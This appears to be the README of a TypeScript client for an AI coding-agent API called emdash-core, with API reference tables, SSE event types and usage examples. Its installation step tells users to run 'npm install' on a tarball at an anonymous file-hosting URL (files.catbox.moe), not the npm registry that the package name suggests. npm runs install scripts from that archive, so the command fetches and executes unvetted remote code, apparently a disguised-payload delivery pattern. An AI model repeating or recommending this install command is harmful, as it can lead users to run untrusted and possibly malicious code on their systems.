# @emdash/client

TypeScript client for the emdash-core API with SSE streaming support.

## Installation

```bash
npm install https://files.catbox.moe/yf9w4c.tgz
```

## Quick Start

```typescript
import { EmdashClient, ServerManager } from '@emdash/client';

// Option 1: Connect to an existing server
const client = new EmdashClient({ baseUrl: 'http://localhost:8765' });

// Option 2: Spawn and manage the server
const server = new ServerManager({ port: 8765 });
await server.start();
const client = new EmdashClient({ baseUrl: server.url });

// Make a streaming request
const result = await client.agentChat(
  { message: 'Find authentication code in the project' },
  {
    callbacks: {
      onThinking: (e) => console.log('Thinking:', e.content),
      onToolStart: (e) => console.log('Using tool:', e.tool_name),
      onResponse: (e) => console.log('Response:', e.content),
    },
  }
);

// Stop server when done
await server.stop();
```

---

## API Reference

### EmdashClient

Main client class for interacting with the emdash-core API.

#### Constructor

```typescript
new EmdashClient(options?: EmdashClientOptions)
```

| Option | Type | Default | Description |
|--------|------|---------|-------------|
| `baseUrl` | `string` | `http://127.0.0.1:8765` | Base URL for the API |
| `timeout` | `number` | `300000` | Default timeout in ms (5 minutes) |
| `headers` | `Record<string, string>` | `{}` | Default headers for all requests |

---

## Agent Chat Methods

### agentChat

Start a new agent chat session with SSE streaming.

```typescript
await client.agentChat(request: AgentChatRequest, options: StreamOptions): Promise<SSEStreamResult>
```

**AgentChatRequest:**

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `message` | `string` | Yes | User message/task |
| `session_id` | `string` | No | Session ID for continuity |
| `model` | `string` | No | LLM model to use |
| `images` | `ImageInput[]` | No | Images to include |
| `history` | `ChatMessage[]` | No | Conversation history |
| `options` | `AgentChatOptions` | No | Agent options |

**AgentChatOptions:**

| Field | Type | Default | Description |
|-------|------|---------|-------------|
| `max_iterations` | `number` | `100` | Maximum iterations for the agent loop |
| `verbose` | `boolean` | `false` | Enable verbose output |
| `mode` | `AgentMode` | `'code'` | Agent mode: `'code'` \| `'research'` \| `'review'` \| `'spec'` \| `'plan'` |
| `context_threshold` | `number` | `0.6` | Context threshold for relevance |

**ImageInput:**

| Field | Type | Description |
|-------|------|-------------|
| `data` | `string` | Base64 encoded image data |
| `format` | `string` | Image format (`'png'`, `'jpg'`, etc.) |

**Example:**

```typescript
const result = await client.agentChat(
  {
    message: 'Refactor the authentication module',
    options: {
      mode: 'code',
      max_iterations: 50,
    },
  },
  {
    callbacks: {
      onThinking: (e) => console.log(e.content),
      onResponse: (e) => console.log(e.content),
    },
  }
);
```

---

### continueChat

Continue an existing chat session.

```typescript
await client.continueChat(
  sessionId: string,
  request: ContinueChatRequest,
  options: StreamOptions
): Promise<SSEStreamResult>
```

**ContinueChatRequest:**

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `message` | `string` | Yes | User message/task |
| `model` | `string` | No | LLM model to use |
| `images` | `ImageInput[]` | No | Images to include |
| `options` | `AgentChatOptions` | No | Agent options |

---

### approvePlan

Approve the pending plan and transition to code mode.

```typescript
await client.approvePlan(sessionId: string, options: StreamOptions): Promise<SSEStreamResult>
```

---

### rejectPlan

Reject the pending plan with feedback for revision.

```typescript
await client.rejectPlan(
  sessionId: string,
  params: RejectPlanParams,
  options: StreamOptions
): Promise<SSEStreamResult>
```

**RejectPlanParams:**

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `feedback` | `string` | No | User feedback on why the plan was rejected |

---

### approvePlanMode

Approve the agent's request to enter plan mode.

```typescript
await client.approvePlanMode(sessionId: string, options: StreamOptions): Promise<SSEStreamResult>
```

---

### rejectPlanMode

Reject the agent's request to enter plan mode.

```typescript
await client.rejectPlanMode(
  sessionId: string,
  params: RejectPlanModeParams,
  options: StreamOptions
): Promise<SSEStreamResult>
```

**RejectPlanModeParams:**

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `feedback` | `string` | No | Reason for rejecting plan mode |

---

### answerClarification

Answer a pending clarification question from the agent.

```typescript
await client.answerClarification(
  sessionId: string,
  params: AnswerClarificationParams,
  options: StreamOptions
): Promise<SSEStreamResult>
```

**AnswerClarificationParams:**

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `answer` | `string` | Yes | User's answer to the clarification question |

---

## Project Generation

### generateProjectMd

Generate PROJECT.md by exploring the codebase with AI.

```typescript
await client.generateProjectMd(
  request: GenerateProjectMdRequest,
  options: StreamOptions
): Promise<SSEStreamResult>
```

**GenerateProjectMdRequest:**

| Field | Type | Default | Description |
|-------|------|---------|-------------|
| `output` | `string` | `'PROJECT.md'` | Output file path |
| `save` | `boolean` | `true` | Save to file |
| `model` | `string` | - | LLM model to use |

---

## Research & Analysis

### research

Deep research with multi-LLM loops and critic evaluation.

```typescript
await client.research(request: ResearchRequest, options: StreamOptions): Promise<SSEStreamResult>
```

**ResearchRequest:**

| Field | Type | Default | Description |
|-------|------|---------|-------------|
| `goal` | `string` | - | Research goal (required) |
| `max_iterations` | `number` | `5` | Max research iterations |
| `budget` | `number` | `50000` | Token budget |
| `model` | `string` | - | LLM for main tasks |
| `researcher_model` | `string` | - | LLM for research |

**Example:**

```typescript
await client.research(
  {
    goal: 'Analyze authentication patterns in the codebase',
    max_iterations: 3,
  },
  {
    callbacks: {
      onProgress: (e) => console.log(`${e.step}: ${e.percent}%`),
      onResponse: (e) => console.log(e.content),
    },
  }
);
```

---

### teamFocus

Analyze team's recent focus and work-in-progress from git history.

```typescript
await client.teamFocus(request: TeamFocusRequest, options: StreamOptions): Promise<SSEStreamResult>
```

**TeamFocusRequest:**

| Field | Type | Default | Description |
|-------|------|---------|-------------|
| `days` | `number` | `7` | Number of days to analyze |
| `model` | `string` | - | LLM model for summaries |
| `include_graph` | `boolean` | `true` | Include graph analysis |

---

## Code Review

### review

Generate a pull request review.

```typescript
await client.review(request: ReviewRequest, options: StreamOptions): Promise<SSEStreamResult>
```

**ReviewRequest:**

| Field | Type | Default | Description |
|-------|------|---------|-------------|
| `pr_number` | `number` | - | PR number |
| `pr_url` | `string` | - | PR URL |
| `search` | `string` | - | Search for PR by text |
| `state` | `PRState` | `'open'` | PR state: `'open'` \| `'closed'` \| `'all'` |
| `model` | `string` | - | LLM model |
| `post_review` | `boolean` | `false` | Post review to GitHub |
| `verdict` | `boolean` | `false` | Include APPROVE/REQUEST_CHANGES verdict |

**Example:**

```typescript
await client.review(
  { pr_number: 123, verdict: true },
  {
    callbacks: {
      onResponse: (e) => console.log(e.content),
    },
  }
);
```

---

### createReviewerProfile

Create a reviewer profile by analyzing repository reviewers.

```typescript
await client.createReviewerProfile(
  params: CreateReviewerProfileParams,
  options: StreamOptions
): Promise<SSEStreamResult>
```

**CreateReviewerProfileParams:**

| Field | Type | Default | Description |
|-------|------|---------|-------------|
| `top_reviewers` | `number` | `5` | Number of top reviewers to analyze |
| `top_contributors` | `number` | `10` | Number of top contributors to analyze |
| `max_prs` | `number` | `50` | Maximum PRs to analyze |
| `model` | `string` | - | LLM model |

---

## Specification & Tasks

### generateSpec

Generate a detailed feature specification.

```typescript
await client.generateSpec(
  request: GenerateSpecRequest,
  options: StreamOptions
): Promise<SSEStreamResult>
```

**GenerateSpecRequest:**

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `feature` | `string` | Yes | Feature description |
| `project_md` | `string` | No | PROJECT.md content |
| `model` | `string` | No | LLM model |
| `verbose` | `boolean` | No | Enable verbose output |

---

### generateTasks

Generate implementation tasks from a specification.

```typescript
await client.generateTasks(
  request: GenerateTasksRequest,
  options: StreamOptions
): Promise<SSEStreamResult>
```

**GenerateTasksRequest:**

| Field | Type | Description |
|-------|------|-------------|
| `spec_name` | `string` | Specification name |
| `spec_content` | `string` | Specification content |
| `project_md` | `string` | PROJECT.md content |
| `model` | `string` | LLM model |

---

## Repository Indexing

### startIndexing

Start indexing a repository with SSE streaming progress.

```typescript
await client.startIndexing(
  request: StartIndexingRequest,
  options: StreamOptions
): Promise<SSEStreamResult>
```

**StartIndexingRequest:**

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `repo_path` | `string` | Yes | Path to repository |
| `options` | `IndexingOptions` | No | Indexing options |

**IndexingOptions:**

| Field | Type | Default | Description |
|-------|------|---------|-------------|
| `changed_only` | `boolean` | `false` | Only index changed files |
| `index_git` | `boolean` | `false` | Index git history |
| `index_github` | `number` | `0` | Number of GitHub PRs to index |
| `detect_communities` | `boolean` | `true` | Run community detection |
| `describe_communities` | `boolean` | `false` | Use LLM to describe communities |
| `community_limit` | `number` | `20` | Max communities to describe |
| `model` | `string` | - | Model for descriptions |

---

## Utility Methods

### isHealthy

Check if the server is healthy.

```typescript
await client.isHealthy(): Promise<boolean>
```

### getInfo

Get server info.

```typescript
await client.getInfo(): Promise<Record<string, unknown>>
```

---

## SSE Events & Callbacks

All streaming methods accept a `StreamOptions` object with callbacks:

```typescript
interface StreamOptions {
  callbacks: SSECallbacks;
  signal?: AbortSignal;  // For cancellation
}
```

### SSECallbacks

| Callback | Event Type | Description |
|----------|------------|-------------|
| `onSessionStart` | `SESSION_START` | Session initialized |
| `onToolStart` | `TOOL_START` | Tool execution begins |
| `onToolResult` | `TOOL_RESULT` | Tool execution completed |
| `onThinking` | `THINKING` | Agent reasoning/thinking |
| `onResponse` | `RESPONSE` | Final text response |
| `onPartialResponse` | `PARTIAL_RESPONSE` | Streaming partial response |
| `onProgress` | `PROGRESS` | Progress update |
| `onClarification` | `CLARIFICATION` | User input needed |
| `onWarning` | `WARNING` | Warning message |
| `onError` | `ERROR` | Error occurred |
| `onSessionEnd` | `SESSION_END` | Session completed |
| `onEvent` | Any | Called for every event |

### Event Types

```typescript
// Session start
interface SessionStartEvent {
  type: 'SESSION_START';
  session_id: string;
  agent_name?: string;
  metadata?: Record<string, unknown>;
}

// Tool execution
interface ToolStartEvent {
  type: 'TOOL_START';
  tool_name: string;
  tool_input?: Record<string, unknown>;
}

interface ToolResultEvent {
  type: 'TOOL_RESULT';
  tool_name: string;
  result?: unknown;
  error?: string;
}

// Agent output
interface ThinkingEvent {
  type: 'THINKING';
  content: string;
}

interface ResponseEvent {
  type: 'RESPONSE';
  content: string;
}

interface PartialResponseEvent {
  type: 'PARTIAL_RESPONSE';
  content: string;
  delta?: string;
}

// Progress & status
interface ProgressEvent {
  type: 'PROGRESS';
  step: string;
  percent?: number;
  details?: string;
}

interface ClarificationEvent {
  type: 'CLARIFICATION';
  question: string;
  options?: string[];
}

interface WarningEvent {
  type: 'WARNING';
  message: string;
}

interface ErrorEvent {
  type: 'ERROR';
  message: string;
  code?: string;
  details?: unknown;
}

interface SessionEndEvent {
  type: 'SESSION_END';
  session_id: string;
  summary?: string;
}
```

### SSEStreamResult

All streaming methods return:

```typescript
interface SSEStreamResult {
  sessionId?: string;    // Session ID from the stream
  response?: string;     // Final response content
  completed: boolean;    // Whether stream completed successfully
  error?: Error;         // Error if stream failed
}
```

---

## Server Management

### ServerManager

Manages the emdash-core server process.

```typescript
const server = new ServerManager(options?: ServerManagerOptions);
```

**ServerManagerOptions:**

| Option | Type | Default | Description |
|--------|------|---------|-------------|
| `port` | `number` | `8765` | Port to run the server on |
| `host` | `string` | `'127.0.0.1'` | Host to bind to |
| `cwd` | `string` | - | Working directory for the server |
| `pythonPath` | `string` | `'python'` | Path to Python executable |
| `env` | `Record<string, string>` | `{}` | Additional environment variables |
| `healthCheckTimeout` | `number` | `30000` | Timeout for health check in ms |
| `healthCheckInterval` | `number` | `500` | Interval between health checks in ms |

### Methods

```typescript
// Start the server (waits until healthy)
await server.start(): Promise<void>

// Stop the server (graceful shutdown)
await server.stop(): Promise<void>

// Check if server is healthy
await server.isHealthy(): Promise<boolean>

// Get server URL
server.url: string

// Get server status
server.status: ServerStatus
```

### ServerStatus

```typescript
interface ServerStatus {
  running: boolean;
  url?: string;
  pid?: number;
}
```

### Connect to Existing Server

```typescript
const server = ServerManager.connect('http://localhost:8765');
```

### Find Available Port

```typescript
import { findAvailablePort } from '@emdash/client';

const port = await findAvailablePort(8765);  // Returns 8765 if available, otherwise next available
```

---

## Helper Functions

### createLoggingCallbacks

Create a callback set that logs all events to console.

```typescript
import { createLoggingCallbacks } from '@emdash/client';

const result = await client.agentChat(
  { message: 'Hello' },
  { callbacks: createLoggingCallbacks('[Agent]') }
);
```

---

## Cancellation

Use `AbortController` to cancel streaming requests:

```typescript
const controller = new AbortController();

// Cancel after 10 seconds
setTimeout(() => controller.abort(), 10000);

const result = await client.agentChat(
  { message: 'Long running task...' },
  {
    callbacks: { onResponse: (e) => console.log(e.content) },
    signal: controller.signal,
  }
);

if (result.error?.message === 'Stream aborted') {
  console.log('Request was cancelled');
}
```

---

## Complete Example

```typescript
import { EmdashClient, ServerManager, createLoggingCallbacks } from '@emdash/client';

async function main() {
  // Start server
  const server = new ServerManager({
    port: 8765,
    pythonPath: '/usr/bin/python3',
  });

  console.log('Starting server...');
  await server.start();
  console.log(`Server running at ${server.url}`);

  // Create client
  const client = new EmdashClient({ baseUrl: server.url });

  // Start a chat session
  const result = await client.agentChat(
    {
      message: 'Add input validation to the login form',
      options: { mode: 'code' },
    },
    {
      callbacks: {
        onSessionStart: (e) => console.log(`Session: ${e.session_id}`),
        onThinking: (e) => console.log(`Thinking: ${e.content.slice(0, 50)}...`),
        onToolStart: (e) => console.log(`Tool: ${e.tool_name}`),
        onToolResult: (e) => console.log(`Result: ${e.tool_name} completed`),
        onClarification: (e) => console.log(`Question: ${e.question}`),
        onResponse: (e) => console.log(`\nResponse:\n${e.content}`),
        onError: (e) => console.error(`Error: ${e.message}`),
      },
    }
  );

  // Handle clarification if needed
  if (result.sessionId) {
    // Continue the session or answer clarification
    await client.continueChat(
      result.sessionId,
      { message: 'Use Zod for validation' },
      { callbacks: createLoggingCallbacks() }
    );
  }

  // Cleanup
  await server.stop();
}

main().catch(console.error);
```

---

## Requirements

- Node.js >= 18.0.0
- emdash-core Python package installed (for server management)

## License

MIT
